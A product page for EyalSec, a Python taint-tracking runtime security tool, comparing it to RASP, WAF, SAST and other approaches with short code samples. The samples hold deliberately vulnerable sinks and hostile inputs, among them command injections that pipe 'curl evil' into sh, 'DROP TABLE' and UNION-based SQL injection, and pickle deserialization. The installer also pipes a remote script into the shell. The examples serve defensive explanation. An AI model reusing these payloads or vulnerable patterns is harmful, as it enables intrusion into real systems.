EyalSec, a secure Python.

EyalSec is a security guard that lives inside your Python and stops an attacker at the exact moment they try to break in, before any damage is done.

  • Surface vulnerabilities no other tool can detect.
  • Run Python without privilege escalation.
  • Run a server without command injection, SQL injection, deserialization, and more.
  • See exactly what an attacker could have exploited against your own code.
see it catch a vulnerability

Two modes: log it, or stop and log it

Log it. Your app runs exactly like before. Whenever something dangerous happens, EyalSec quietly writes it down on your dashboard, so you can see what an attacker tried and how.

events · /dashboardREPORTED
High exec ×3 14:22:07
sinkexec(…) · <string>:1 payload"import os; os.system('id')" sourceworld-writable file /srv/shared/hook.py locationapp/tasks.py:87 -> run_hook() machineprod-web-01

Stop and log it. EyalSec steps in and blocks the attack, and still records it on your dashboard. The moment untrusted data reaches a dangerous action, your program stops, before anything bad can run.

terminalRAISED
$ es-python server.py
Serving on http://0.0.0.0:8080
1.2.3.4 · POST /run · 200 OK
Stopped: a vulnerability was triggered
RuntimeError: EyalSec: untrusted data from socket:1.2.3.4:443 reached sink os.system
proof, not a hypothesis

It already found two critical CVEs in Django

EyalSec's taint engine surfaced two unauthenticated SQL-injection flaws in Django, the world's most-deployed Python web framework, both officially assigned CVEs and confirmed exploitable. We reported them responsibly, so the whole ecosystem is safer for it.

CVE-2024-42005CVSS 9.8 · CISA

SQL injection via crafted JSON object keys used as column aliases in QuerySet.values() / values_list() on models with a JSONField.

CISA record · cve.org ->
CVE-2025-57833CVSS 8.1 · NVD

SQL injection via FilteredRelation column aliases in annotate() / alias() with **kwargs expansion.

Published · NVD ->
how it works

Taint in, sink out

01 Sources
Marked at the read

Network sockets, files, stdin, data is marked untrusted the moment it enters.

02 Tracked
Follows the data

The taint follows the value as it's copied and transformed through your program.

03 Sinks
Logged, and optionally stopped

exec, eval, compile, os.system, subprocess, pickle, sqlite3, ctypes, …

how to use

Two small steps: no rewrite, no lock-in

Your existing python stays put. Run es-python when you want the safety net.

# step 1 · sign up & add a machine, the dashboard hands you this command
$ source <(curl -sSL -d "secret=YOUR_TOKEN" https://eyalsec.com/install.sh)
# step 2 · run your code, checks on
$ es-python app.py
how it compares

What EyalSec can find that others can't.

Python code examples of scenarios other tools can't find, and EyalSec can.

Category
What they do
Where they fall short
EyalSec's edge
CategoryRASP
What they doHook the app to match request payloads against dangerous calls
Where they fall shortLoses the input once it's split, sliced, or rejoined
EyalSec's edgeFollows the taint through every string transform to the sink
# RASP inspects the request, but not what the app does to it next. msg = sock.recv(4096).decode() # request body -> tainted arg = " ".join(msg.split()[1:]) # split, slice, rejoin -> still tainted # attacker sends: ping x; curl evil.sh | sh os.system("traceroute " + arg) # SINK -> es-python raises

Why RASP misses: RASP flags a call only when its argument still matches a payload it logged from the request. The app splits, slices, and rejoins that input first, so the bytes reaching os.system match nothing RASP saw. es-python taints the data itself, so the mark rides through every transform to the sink.

CategoryWAF / edge
What they doPattern-match malicious HTTP at the network boundary
Where they fall shortInjection that never rides HTTP, a file or queue feed
EyalSec's edgeTaints every input channel, not just the HTTP edge
# a CSV dropped by an SFTP partner feed never crosses the edge. row = open("/inbox/orders.csv").readline() # file bytes -> tainted; the WAF never saw them # attacker planted a row: '; DROP TABLE users; -- db.execute("SELECT * FROM t WHERE id='" + row + "'") # SINK -> es-python raises

Why WAF / edge misses: the record arrives as a file from a batch drop, never over HTTP, so the edge has no packet to inspect. es-python taints every input channel, files included, so the bytes stay marked all the way to the SQL sink.

CategorySAST
What they doStatically scan source for risky patterns
Where they fall shortWhich flagged path is really exploitable
EyalSec's edgeFires only when live taint hits a sink
# the sink is chosen by a runtime key, so static dataflow loses it. ACTIONS = {"copy": shutil.copy, "run": os.system, "stat": os.stat} name, arg = sock.recv(4096).decode().split(":", 1) # socket -> tainted # attacker sends: run:reboot; curl evil | sh ACTIONS[name](arg) # callable resolved at runtime -> SINK -> es-python raises

Why SAST misses: which callable ACTIONS[name] resolves to is a runtime value; a static engine can't prove the tainted arg reaches os.system. es-python sees the actual call.

CategoryDAST / fuzzing
What they doProbe a running app from outside / fuzz inputs
Where they fall shortSinks on branches it never reaches
EyalSec's edgeTaint-guided fuzzing hits every branch
# a successful SQL injection that never crashes. expr = sock.recv(4096).decode() # socket -> tainted # expr = 1=1 UNION SELECT password FROM admins db.execute("SELECT * FROM logs WHERE " + expr) # returns rows, exits 0 -> SINK

Why DAST / fuzzing misses: the query runs cleanly and returns rows, zero crash signal for a coverage fuzzer, which records a "pass". es-python flags the injection semantically, no crash required.

CategorySCA / dependency
What they doFlag known-CVE dependencies
Where they fall shortUnknown vulns; whether the CVE is truly hit
EyalSec's edgeConfirms attacker data reaches the CVE
# your own code, no third-party advisory describes this. cookie = sock.recv(4096) # cookie arrives over the wire -> tainted pickle.loads(cookie) # SINK -> es-python raises

Why SCA / dependency misses: SCA matches your lockfile against a CVE database. A deserialization bug you wrote yourself is in no advisory feed, so it stays silent. es-python catches the live tainted-bytes -> pickle.loads flow.

CategorySandboxing / isolation
What they doRestrict syscalls / isolate the process
Where they fall shortApp-level injection (sees only syscalls)
EyalSec's edgeTracks app-level taint to the sink
# the sandbox must permit execve for the legit dump... subprocess.run(["/usr/bin/pg_dump", "mydb"]) # legitimate, must be allowed name = sock.recv(4096).decode() # socket -> tainted subprocess.run("tar czf /tmp/" + name + ".tgz /data", shell=True) # SINK

Why Sandboxing / isolation misses: seccomp/gVisor decide per syscall, to allow pg_dump they must permit execve, which lets the injected tar; … through too. es-python gates only the tainted exec and leaves the clean one alone.

CategoryEDR / runtime threat
What they doDetect malicious behavior at the OS/host level
Where they fall shortThe exploit before it fires
EyalSec's edgeFlags tainted data before the call
# es-python raises BEFORE any payload executes. blob = sock.recv(65536) # socket -> tainted pickle.loads(blob) # SINK -> raises before the gadget detonates

Why EDR / runtime threat misses: EDR detects malicious behavior after the fact, a spawned shell, a beacon. es-python raises before the pickle gadget runs, so there's no behavior left for the EDR to observe.

safe to run

It's real Python, with a seatbelt

glossary

The three words that explain EyalSec

SourceWhere untrusted data enters your program: a network socket, a file, standard input, environment variables and command-line arguments, or code another user can write.
SinkA risky action untrusted data can flow into: running a system command, opening a file, running a database query, or deserializing data.
TaintThe mark EyalSec puts on untrusted data so it can follow that data through your program and see when it reaches a sink.
faq

Questions, answered

What is EyalSec?EyalSec is a security guard that lives inside your Python and stops an attacker at the exact moment they try to break in, before any damage is done.
Is EyalSec free to try?Yes. You can start on a free trial with no card required, then choose a paid plan sized by machines and monthly events.
How is EyalSec different from a static scanner or linter?A static scanner reads your source and guesses at possible bugs before it runs. EyalSec watches real execution and only reports untrusted data that actually reaches a risky action, so it finds real, exploitable issues with far fewer false positives.
Do I have to change my code?No, es-python runs your existing code, frameworks, and packages exactly as they run today. You run them through es-python instead of python, with no changes.
Does it work with Django, Flask, and my existing libraries?Yes. es-python runs your frameworks and packages unchanged. It has already flagged two critical CVEs in Django.
What attacks does it catch?The untrusted-data-reaches-a-sink pattern behind most real attacks: SQL injection, command injection, path traversal, and insecure deserialization.
Does it send my code anywhere?No, your source code and files stay on the machine. What posts to your dashboard is the detection event itself: the sink that fired, the stack trace, where it came from, and the data that triggered it, so you can investigate.
What is the difference between Report and Raise mode?Report logs the event to your dashboard and lets the program keep running. Report and Raise does both: it logs the event and also stops the risky action before it runs, raising a RuntimeError instead, so an attack is blocked, not just recorded. You choose per machine.
Does it slow my code down?Tracking taint costs cycles; gate only the sinks you need, or run lighter observe mode. Socket-only builds run file and standard-input workloads at stock-Python speed.
How do I install EyalSec?Sign in, add a machine on your dashboard, and run the one-line installer it gives you. es-python installs next to your normal Python, then you run your program through it.

The place a CISO sleeps at night.

Start free no card needed
EyalSec Pricing Docs Security Contact Login Start free